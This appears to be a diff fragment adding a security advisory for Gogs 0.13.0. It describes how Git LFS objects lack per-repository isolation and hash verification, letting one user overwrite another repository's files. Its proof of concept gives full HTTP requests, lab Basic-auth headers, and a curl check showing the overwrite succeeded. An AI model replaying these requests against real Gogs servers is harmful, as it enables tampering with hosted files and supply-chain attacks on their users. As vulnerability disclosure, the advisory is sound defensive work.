+ "details": "### Summary\nOverwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.\n\n### Details\nGogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58\n\nGogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89\n\nHere's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113\n\n### PoC\n\n```\n# ./gogs -v\nGogs version 0.13.0\n```\n\n#### 1. User (admin1) upload a LFS object into their repository `admin1/testlfs.git` normally\n\n```\nPOST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch\nUser-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)\nAccept-Encoding: gzip, deflate, br\nAccept: application/vnd.git-lfs+json\nConnection: keep-alive\nContent-Type: application/vnd.git-lfs+json\nAuthorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\nContent-Length: 168\n\n{\"operation\": \"upload\", \"objects\": [{\"oid\": \"5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\", \"size\": 1048576}], \"ref\": {\"name\": \"refs/heads/master\"}}\n\nresponse: <Response [200]>\nConnection: close\nContent-Length: 438\nContent-Type: application/vnd.git-lfs+json\nDate: Thu, 28 Nov 2024 13:57:47 GMT\nSet-Cookie: lang=en-US; Path=/; Max-Age=2147483647\n\n{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'},\n 'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'},\n 'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}},\n 'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a',\n 'size': 1048576}],\n 'transfer': 'basic'}\n\n[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\nheaders: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='}\nresponse: <Response [200]>\n[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify\nPOST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify\nUser-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)\nAccept-Encoding: gzip, deflate, br\nAccept: application/vnd.git-lfs+json\nConnection: keep-alive\nContent-Type: application/vnd.git-lfs+json\nAuthorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\nCookie: lang=en-US\nContent-Length: 92\n\n{\"oid\": \"5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\", \"size\": 1048576}\n\nresponse: <Response [200]>\nConnection: close\nContent-Length: 0\nDate: Thu, 28 Nov 2024 13:57:47 GMT\n```\n\nIn this step, upload a LFS object `5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a`\n\n#### 2. Attacker `user2` overwrite this file by uploading manipulated content to their repo `user2/public.git`\n\n```\nPUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a\nContent-Type: application/octet-stream\nAccept: application/vnd.git-lfs+json\nAuthorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==\n\nresponse: <Response [200]>\n```\n\n#### 3. Verify the content has been overwritten:\n\n```\n# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H \"Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=\" -i\nHTTP/1.1 200 OK\nContent-Length: 1048576\nConnection: keep-alive\nContent-Type: application/octet-stream\nDate: Thu, 28 Nov 2024 14:01:53 GMT\nKeep-Alive: timeout=4\nProxy-Connection: keep-alive\nSet-Cookie: lang=en-US; Path=/; Max-Age=2147483647\n\ncurl: (18) transfer closed with 1048563 bytes remaining to read\n2222 replaced\n```\n\n### Impact\nAll LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all. \n\n### Fix Suggestion\n\nUploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.\n\nFix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified",
0 commit comments